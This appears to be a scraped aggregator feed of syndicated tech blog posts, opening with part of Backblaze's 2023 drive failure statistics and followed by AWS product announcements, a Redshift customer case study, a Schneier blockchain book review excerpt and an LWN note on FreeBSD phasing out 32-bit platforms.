Using the table above we can compare the lifetime drive failure rates of different drive models. In the charts below, we group the drive models by manufacturer, and then plot the drive model AFR versus average age in months of each drive model. The relative size of each circle represents the number of drives in each cohort. The horizontal and vertical scales for each manufacturer chart are the same.
Drive migration: When selecting drive models to migrate we could just replace the oldest drive models first. In this case, the 6TB Seagate drives. Given there are only 882 drives—that’s less than one Backblaze Vault—the impact on failure rates would be minimal. That aside, the chart makes it clear that we should continue to migrate our 4TB drives as we discussed in our recent post on which drives reside in which storage servers. As that post notes, there are other factors, such as server age, server size (45 vs. 60 drives), and server failure rates which help guide our decisions.
HGST: The chart on the left below shows the AFR trendline (second order polynomial) for all of our HGST models. It does not appear that drive failure consistently increases with age. The chart on the right shows the same data with the HGST 4TB drive models removed. The results are more in line with what we’d expect, that drive failure increased over time. While the 4TB drives perform great, they don’t appear to be the AFR benchmark for newer/larger drives.
One other potential factor not explored here, is that beginning with the 8TB drive models, helium was used inside the drives and the drives were sealed. Prior to that they were air-cooled and not sealed. So did switching to helium inside a drive affect the failure profile of the HGST drives? Interesting question, but with the data we have on hand, I’m not sure we can answer it—or that it matters much anymore as helium is here to stay.
Seagate: The chart on the left below shows the AFR trendline (second order polynomial) for our Seagate models. As with the HGST models, it does not appear that drive failure continues to increase with age. For the chart on the right, we removed the drive models that were greater than seven years old (average age).
Interestingly, the trendline for the two charts is basically the same up to the six year point. If we attempt to project past that for the 8TB and 12TB drives there is no clear direction. Muddying things up even more is the fact that the three models we removed because they are older than seven years are all consumer drive models, while the remaining drive models are all enterprise drive models. Will that make a difference in the failure rates of the enterprise drive model when they get to seven or eight or even nine years of service? Stay tuned.
Toshiba and WDC: As for the Toshia and WDC drive models, there is a little over three years worth of data and no discernible patterns have emerged. All of the drives from each of these manufacturers are performing well to date.
One thing we’ve seen above is that drive failure projections are typically drive model dependent. But we don’t migrate drive models as a group, instead, we migrate all of the drives in a storage server or Backblaze Vault. The drives in a given server or Vault may not be the same model. How we choose which servers and Vaults to migrate will be covered in a future post, but for now we’ll just say that drive failure isn’t everything.
The complete data set used to create the tables and charts in this report is available on our Hard Drive Test Data page. You can download and use this data for free for your own purpose. All we ask are three things: 1) you cite Backblaze as the source if you use the data, 2) you accept that you are solely responsible for how you use the data, and 3) you do not sell this data itself to anyone; it is free.
Good luck, and let us know if you find anything interesting.
The post Backblaze Drive Stats for 2023 appeared first on Backblaze Blog | Cloud Storage & Cloud Backup.
Post Syndicated from Explosm.net original https://explosm.net/comics/police-sketch
New Cyanide and Happiness Comic
Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2024/02/molly-white-reviews-blockchain-book.html
Molly White—of “Web3 is Going Just Great” fame—reviews Chris Dixon’s blockchain solutions book: Read Write Own:
In fact, throughout the entire book, Dixon fails to identify a single blockchain project that has successfully provided a non-speculative service at any kind of scale. The closest he ever comes is when he speaks of how “for decades, technologists have dreamed of building a grassroots internet access provider”. He describes one project that “got further than anyone else”: Helium. He’s right, as long as you ignore the fact that Helium was providing LoRaWAN, not Internet, that by the time he was writing his book Helium hotspots had long since passed the phase where they might generate even enough tokens for their operators to merely break even, and that the network was pulling in somewhere around $1,150 in usage fees a month despite the company being valued at $1.2 billion. Oh, and that the company had widely lied to the public about its supposed big-name clients, and that its executives have been accused of hoarding the project’s token to enrich themselves. But hey, a16z sunk millions into Helium (a fact Dixon never mentions), so might as well try to drum up some new interest!
Post Syndicated from Matt Granger original https://www.youtube.com/watch?v=uv9DFiIfsB0
Post Syndicated from turnoff.us original http://turnoff.us/geek/artist/
Post Syndicated from Antje Barth original https://aws.amazon.com/blogs/aws/knowledge-bases-for-amazon-bedrock-now-supports-amazon-aurora-postgresql-and-cohere-embedding-models/
During AWS re:Invent 2023, we announced the general availability of Knowledge Bases for Amazon Bedrock. With a knowledge base, you can securely connect foundation models (FMs) in Amazon Bedrock to your company data for Retrieval Augmented Generation (RAG).
In my previous post, I described how Knowledge Bases for Amazon Bedrock manages the end-to-end RAG workflow for you. You specify the location of your data, select an embedding model to convert the data into vector embeddings, and have Amazon Bedrock create a vector store in your AWS account to store the vector data, as shown in the following figure. You can also customize the RAG workflow, for example, by specifying your own custom vector store.
Since my previous post in November, there have been a number of updates to Knowledge Bases, including the availability of Amazon Aurora PostgreSQL-Compatible Edition as an additional custom vector store option next to vector engine for Amazon OpenSearch Serverless, Pinecone, and Redis Enterprise Cloud. But that’s not all. Let me give you a quick tour of what’s new.
Additional choice for embedding model
The embedding model converts your data, such as documents, into vector embeddings. Vector embeddings are numeric representations of text data within your documents. Each embedding aims to capture the semantic or contextual meaning of the data.
Cohere Embed v3 – In addition to Amazon Titan Text Embeddings, you can now also choose from two additional embedding models, Cohere Embed English and Cohere Embed Multilingual, each supporting 1,024 dimensions.
Check out the Cohere Blog to learn more about Cohere Embed v3 models.
Additional choice for vector stores
Each vector embedding is put into a vector store, often with additional metadata such as a reference to the original content the embedding was created from. The vector store indexes the stored vector embeddings, which enables quick retrieval of relevant data.
Knowledge Bases gives you a fully managed RAG experience that includes creating a vector store in your account to store the vector data. You can also select a custom vector store from the list of supported options and provide the vector database index name as well as index field and metadata field mappings.
We have made three recent updates to vector stores that I want to highlight: The addition of Amazon Aurora PostgreSQL-Compatible and Pinecone serverless to the list of supported custom vector stores, as well as an update to the existing Amazon OpenSearch Serverless integration that helps to reduce cost for development and testing workloads.
Amazon Aurora PostgreSQL – In addition to vector engine for Amazon OpenSearch Serverless, Pinecone, and Redis Enterprise Cloud, you can now also choose Amazon Aurora PostgreSQL as your vector database for Knowledge Bases.
Aurora is a relational database service that is fully compatible with MySQL and PostgreSQL. This allows existing applications and tools to run without the need for modification. Aurora PostgreSQL supports the open source pgvector extension, which allows it to store, index, and query vector embeddings.
Many of Aurora’s features for general database workloads also apply to vector embedding workloads:
For a detailed walkthrough of how to configure Aurora for Knowledge Bases, check out this post on the AWS Database Blog and the User Guide for Aurora.
Pinecone serverless – Pinecone recently introduced Pinecone serverless. If you choose Pinecone as a custom vector store in Knowledge Bases, you can provide either Pinecone or Pinecone serverless configuration details. Both options are supported.
Reduce cost for development and testing workloads in Amazon OpenSearch Serverless
When you choose the option to quickly create a new vector store, Amazon Bedrock creates a vector index in Amazon OpenSearch Serverless in your account, removing the need to manage anything yourself.
Since becoming generally available in November, vector engine for Amazon OpenSearch Serverless gives you the choice to disable redundant replicas for development and testing workloads, reducing cost. You can start with just two OpenSearch Compute Units (OCUs), one for indexing and one for search, cutting the costs in half compared to using redundant replicas. Additionally, fractional OCU billing further lowers costs, starting with 0.5 OCUs and scaling up as needed. For development and testing workloads, a minimum of 1 OCU (split between indexing and search) is now sufficient, reducing cost by up to 75 percent compared to the 4 OCUs required for production workloads.
Usability improvement – Redundant replicas disabled is now the default selection when you choose the quick-create workflow in Knowledge Bases for Amazon Bedrock. Optionally, you can create a collection with redundant replicas by selecting Update to production workload.
For more details on vector engine for Amazon OpenSearch Serverless, check out Channy’s post.
Additional choice for FM
At runtime, the RAG workflow starts with a user query. Using the embedding model, you create a vector embedding representation of the user’s input prompt. This embedding is then used to query the database for similar vector embeddings to retrieve the most relevant text as the query result. The query result is then added to the original prompt, and the augmented prompt is passed to the FM. The model uses the additional context in the prompt to generate the completion, as shown in the following figure.
Anthropic Claude 2.1 – In addition to Anthropic Claude Instant 1.2 and Claude 2, you can now choose Claude 2.1 for Knowledge Bases. Compared to previous Claude models, Claude 2.1 doubles the supported context window size to 200 K tokens.
Check out the Anthropic Blog to learn more about Claude 2.1.
Now available
Knowledge Bases for Amazon Bedrock, including the additional choice in embedding models, vector stores, and FMs, is available in the AWS Regions US East (N. Virginia) and US West (Oregon).
Learn more
Read more about Knowledge Bases for Amazon Bedrock
— Antje
Post Syndicated from Talks at Google original https://www.youtube.com/watch?v=TSrB4G_ahsY
Post Syndicated from Channy Yun original https://aws.amazon.com/blogs/aws/aws-weekly-roundup-happy-lunar-new-year-iac-generator-nfls-digital-athlete-aws-cloud-clubs-and-more-february-12-2024/
Happy Lunar New Year! Wishing you a year filled with joy, success, and endless opportunities! May the Year of the Dragon bring uninterrupted connections and limitless growth 
In case you missed it, here’s outstanding news you need to know as you plan your year in early 2024.
AWS was named as a Leader in the 2023 Magic Quadrant for Strategic Cloud Platform Services. AWS is the longest-running Magic Quadrant Leader, with Gartner naming AWS a Leader for the thirteenth consecutive year. See Sebastian’s blog post to learn more. AWS has been named a Leader for the ninth consecutive year in the 2023 Gartner Magic Quadrant for Cloud Database Management Systems, and we have been positioned highest for ability to execute by providing a comprehensive set of services for your data foundation across all workloads, use cases, and data types. See Rahul Pathak’s blog post to learn more.
AWS also has been named a Leader in data clean room technology according to the IDC MarketScape: Worldwide Data Clean Room Technology 2024 Vendor Assessment (January 2024). This report evaluated data clean room technology vendors for use cases across industries. See the AWS for Industries Blog channel post to learn more.
Last Week’s Launches
Here are some launches that got my attention:
A new Local Zone in Houston, Texas – Local Zones are an AWS infrastructure deployment that places compute, storage, database, and other select services closer to large population, industry, and IT centers where no AWS Region exists. AWS Local Zones are available in the US in 15 other metro areas and globally in an additional 17 metros areas, allowing you to deliver low-latency applications to end users worldwide. You can enable the new Local Zone in Houston (us-east-1-iah-2a) from the Zones tab in the Amazon EC2 console settings.
AWS CloudFormation IaC generator – You can generate a template using AWS resources provisioned in your account that are not already managed by CloudFormation. With this launch, you can onboard workloads to Infrastructure as Code (IaC) in minutes, eliminating weeks of manual effort. You can then leverage the IaC benefits of automation, safety, and scalability for the workloads. Use the template to import resources into CloudFormation or replicate resources in a new account or Region. See the user guide and blog post to learn more.
A new look-and-feel of Amazon Bedrock console – Amazon Bedrock now offers an enhanced console experience with updated UI improves usability, responsiveness, and accessibility with more seamless support for dark mode. To get started with the new experience, visit the Amazon Bedrock console.
One-click WAF integration on ALB – Application Load Balancer (ALB) now supports console integration with AWS WAF that allows you to secure your applications behind ALB with a single click. This integration enables AWS WAF protections as a first line of defense against common web threats for your applications that use ALB. You can use this one-click security protection provided by AWS WAF from the integrated services section of the ALB console for both new and existing load balancers.
Up to 49% price reduction for AWS Fargate Windows containers on Amazon ECS – Windows containers running on Fargate are now billed per second for infrastructure and Windows Server licenses that their containerized application requests. Along with the infrastructure pricing for on-demand, we are also reducing the minimum billing duration for Windows containers to 5 minutes (from 15 minutes) for any Fargate Windows tasks starting February 1st, 2024 (12:00am UTC). The infrastructure pricing and minimum billing period changes will automatically reflect in your monthly AWS bill. For more information on the specific price reductions, see our pricing page.
Introducing Amazon Data Firehose – We are renaming Amazon Kinesis Data Firehose to Amazon Data Firehose. Amazon Data Firehose is the easiest way to capture, transform, and deliver data streams into Amazon S3, Amazon Redshift, Amazon OpenSearch Service, Splunk, Snowflake, and other 3rd party analytics services. The name change is effective in the AWS Management Console, documentations, and product pages.
AWS Transfer Family integrations with Amazon EventBridge – AWS Transfer Family now enables conditional workflows by publishing SFTP, FTPS, and FTP file transfer events in near real-time, SFTP connectors file transfer event notifications, and Applicability Statement 2 (AS2) transfer operations to Amazon EventBridge. You can orchestrate your file transfer and file-processing workflows in AWS using Amazon EventBridge, or any workflow orchestration service of your choice that integrates with these events.
For a full list of AWS announcements, be sure to keep an eye on the What’s New at AWS page.
Other AWS News
Some other updates and news that you might have missed:
NFL’s digital athlete in the Super Bowl – AWS is working with the National Football League (NFL) to take player health and safety to the next level. Using AI and machine learning, they are creating a precise picture of each player in training, practice, and games. You could see this technology in action, especially with the Super Bowl on the last Sunday!
Amazon’s commiting the responsible AI – On February 7, Amazon joined the U.S. Artificial Intelligence Safety Institute Consortium, established by the National Institute of Standards of Technology (NIST), to further our government and industry collaboration to advance safe and secure artificial intelligence (AI). Amazon will contribute compute credits to help develop tools to evaluate AI safety and help the institute set an interoperable and trusted foundation for responsible AI development and use.
Compliance updates in South Korea – AWS has completed the 2023 South Korea Cloud Service Providers (CSP) Safety Assessment Program, also known as the Regulation on Supervision on Electronic Financial Transactions (RSEFT) Audit Program. AWS is committed to helping our customers adhere to applicable regulations and guidelines, and we help ensure that our financial customers have a hassle-free experience using the cloud. Also, AWS has successfully renewed certification under the Korea Information Security Management System (K-ISMS) standard (effective from December 16, 2023, to December 15, 2026).
Join AWS Cloud Clubs Captains – AWS Cloud Clubs are student-led user groups for post-secondary level students and independent learners. Interested in founding or co-founding a Cloud Club in your university or region? We are accepting applications from February 5-18, 2024.
Upcoming AWS Events
Check your calendars and sign up for upcoming AWS events:
AWS Innovate AI/ML and Data Edition – Join our free online conference to learn how you and your organization can leverage the latest advances in generative AI. You can register upcoming AWS Innovate Online event that fits your timezone in Asia Pacific & Japan (February 22), EMEA (February 29), and Americas (March 14).
AWS Public Sector events – Join us at the AWS Public Sector Symposium Brussels (March 12) to discover how the AWS Cloud can help you improve resiliency, develop sustainable solutions, and achieve your mission. AWS Public Sector Day London (March 19) gathers professionals from government, healthcare, and education sectors to tackle pressing challenges in United Kingdom public services.
Kicking off AWS Global Summits – AWS Summits are a series of free online and in-person events that bring the cloud computing community together to connect, collaborate, and learn about AWS. Below is a list of available AWS Summit events taking place in April:
You can browse all upcoming AWS-led in-person and virtual events, and developer-focused events such as AWS DevDay.
That’s all for this week. Check back next Monday for another Week in Review!
— Channy
Post Syndicated from Gaurav Singh original https://aws.amazon.com/blogs/big-data/how-gupshup-built-their-multi-tenant-messaging-analytics-platform-on-amazon-redshift/
Gupshup is a leading conversational messaging platform, powering over 10 billion messages per month. Across verticals, thousands of large and small businesses in emerging markets use Gupshup to build conversational experiences across marketing, sales, and support. Gupshup’s carrier-grade platform provides a single messaging API for 30+ channels, a rich conversational experience-building tool kit for any use case, and a network of emerging market partnerships across messaging channels, device manufacturers, ISVs, and operators.
Gupshup wanted to build a messaging analytics platform that provided:
Amazon Redshift is a fully managed, petabyte-scale, massively parallel data warehouse that offers simple operations and high performance. It makes it fast, simple, and cost-effective to analyze all your data using standard SQL and your existing business intelligence (BI) tools. Amazon Redshift extends beyond traditional data warehousing workloads, by integrating with the AWS cloud with features such as querying the data lake with Spectrum, semistructured data ingestion and querying with PartiQL, streaming ingestion from Amazon Kinesis and Amazon MSK, Redshift ML, federated queries to Amazon Aurora and Amazon RDS operational databases, and federated materialized views.
In this use case, Gupshup is heavily relying on Amazon Redshift as their data warehouse to process billions of streaming events every month, performing intricate data-pipeline-like operations on such data and incrementally maintaining a hierarchy of aggregations on top of raw data. They have been enjoying the flexibility and convenience that Amazon Redshift has brought to their business. By leveraging the Amazon Redshift materialized views, Gupshup has been able to dramatically improve query performance on recurring and predictable workloads, such as dashboard queries from Business Intelligence (BI) tools. Additionally, extract, load, and transform (ELT) data processing is sped up and made easier. To store commonly used pre-computations and seamlessly utilize them to reduce latency on ensuing analytical queries, Redshift materialized views feature incremental refresh capability which enables Gupshup to be more agile while using less code. Without writing complicated code for incremental updates, they were able to deliver data latency of roughly 15 minutes for some use cases.
Gupshup uses a CDC mechanism to extract data from their source systems and persist it in S3 in order to meet these needs. A series of materialized view refreshes are used to calculate metrics, after which the incremental data from S3 is loaded into Redshift. This compiled data is then imported into Aurora PostgreSQL Serverless for operational reporting. The ability of Redshift to incrementally refresh materialized views, enabling it to process massive amounts of data progressively, the capacity for scaling, which utilizes concurrency and elastic resizing for vertical scaling, as well as the RA3 architecture, delivers the separation of storage and compute to scale one without worrying about the other, led Gupshup to make this choice. Gupshup chose Aurora PostgreSQL as the operational reporting layer due to its anticipated increase in concurrency and cost-effectiveness for queries that retrieve only precalculated metrics.
Incremental analytics is the main reason for Gupshup to use Redshift. The diagram shows a simplified version of a typical data processing pipeline where data comes via multiple streams. The streams need to be joined together, then enriched by joining with master data tables. This is followed by series of joins and aggregations. All this needs to be performed in incremental manner, providing 30 minutes of latency.
Gupshup uses Redshift’s incremental materialized view feature to accomplish this. All of the join, enrich, and aggregation statements are written using sql statements. The stream-to-stream joins are performed by ingesting both streams in a table sorted by the key fields. Then an incremental MV aggregates data by the key fields. Redshift then automatically takes care of keeping the MVs refreshed incrementally with incoming data. The incremental view maintenance feature works even for hierarchical aggregations with MVs based on other MVs. This allows Gupshup to build an entire processing pipeline incrementally. It has actually helped Gupshup reduce cycle time during the POC and prototyping phases. Moreover, no separate effort is required to process historical data versus live streaming data.
Apart from incremental analytics, Redshift simplifies a lot of operational aspects. E.g., use the snapshot-restore feature to quickly create a green experimental cluster from an existing blue serving cluster. In case the processing logic changes (which happens quite often in prototyping stages), they need to reprocess all historical data. Gupshup uses Redshift’s elastic scaling feature to temporarily scale the cluster up and then scale it down when done. They also use Redshift to directly power some of their high-concurrency dashboards. For such cases, the concurrency scaling feature of Redshift really comes in handy. Apart from this, they have a lot of in-house data analysts who need to run ad hoc queries on live production data. They use the workload management features of Redshift to make sure their analysts can run queries while ensuring that production queries do not get affected.
Gupshup, an enterprise messaging company, needed a scalable data warehouse solution to analyze billions of events generated each month. They chose Amazon Redshift to build a cloud data warehouse that could handle this scale of data and enable fast analytics.
By combining Redshift’s scalability, snapshots, workload management, and low-operational approach, Gupshup provides data-driven insights in less than 15 minutes analytics refresh rate.
Overall, Redshift’s scalability, performance, ease of management, and cost effectiveness have allowed Gupshup to gain data-driven insights from billions of events in near real-time. A scalable and robust data foundation is enabling Gupshup to build innovative messaging products and a competitive advantage.
The incremental refresh of materialized views feature of Redshift allowed us to be more agile with less code:
“The incremental refresh of materialized views feature of Redshift allowed us to be more agile with less code”
– Pankaj Bisen, Director of AI and Analytics at Gupshup.
Shabi Abbas Sayed is a Senior Technical Account Manager at AWS. He is passionate about building scalable data warehouses and big data solutions working closely with the customers. He works with large ISVs customers, in helping them build and operate secure, resilient, scalable, and high-performance SaaS applications in the cloud.
Gaurav Singh is a Senior Solutions Architect at AWS, specializing in AI/ML and Generative AI. Based in Pune, India, he focuses on helping customers build, deploy, and migrate ML production workloads to SageMaker at scale. In his spare time, Gaurav loves to explore nature, read, and run.
Post Syndicated from LWN.net original https://lwn.net/Articles/961871/
The FreeBSD Project has announced that it intends to deprecate 32-bit platforms “over the next couple of major releases
“.
We anticipate FreeBSD 15.0 will not include the armv6, i386, and powerpc platforms, and FreeBSD 16.0 will not include armv7. Support for executing 32-bit binaries on 64-bit kernels will be retained through at least the lifetime of the stable/16 branch if not longer.
The announcement notes that support for some 32-bit platforms “may be extended if there is both demand and commitment to increased developer resources
“. More details about the current plans for 32-bit platforms are available in the FreeBSD 14.0-RELEASE Release Notes.
Post Syndicated from jzb original https://lwn.net/Articles/961871/
The FreeBSD Project has announced that it intends to deprecate 32-bit platforms “over the next couple of major releases
“.
We anticipate FreeBSD 15.0 will not include the armv6, i386, and powerpc platforms, and FreeBSD 16.0 will not include armv7. Support for executing 32-bit binaries on 64-bit kernels will be retained through at least the lifetime of the stable/16 branch if not longer.
The announcement notes that support for some 32-bit platforms “may be extended if there is both demand and commitment to increased developer resources
“. More details about the current plans for 32-bit platforms are available in the FreeBSD 14.0-RELEASE Release Notes.